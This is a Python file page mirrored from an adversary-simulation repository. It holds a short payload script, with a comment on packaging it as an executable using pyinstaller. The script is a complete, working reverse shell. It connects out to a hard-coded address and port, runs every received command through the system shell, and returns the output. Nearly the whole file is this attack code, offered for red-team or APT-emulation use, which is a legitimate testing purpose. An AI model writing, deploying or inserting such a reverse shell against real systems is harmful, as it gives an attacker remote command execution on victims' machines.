mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
31 lines
495 B
Python
31 lines
495 B
Python
# compile: pyinstaller --onefile testing payload.py
|
|
|
|
import socket
|
|
import subprocess
|
|
|
|
ip = "192.168.1.1"
|
|
port = 4444
|
|
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((ip, port))
|
|
|
|
|
|
while True:
|
|
|
|
command = s.recv(1024).decode()
|
|
|
|
|
|
if command.lower() == "exit":
|
|
break
|
|
|
|
|
|
try:
|
|
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
|
|
s.sendall(output)
|
|
except Exception as e:
|
|
s.sendall(str(e).encode())
|
|
|
|
|
|
s.close()
|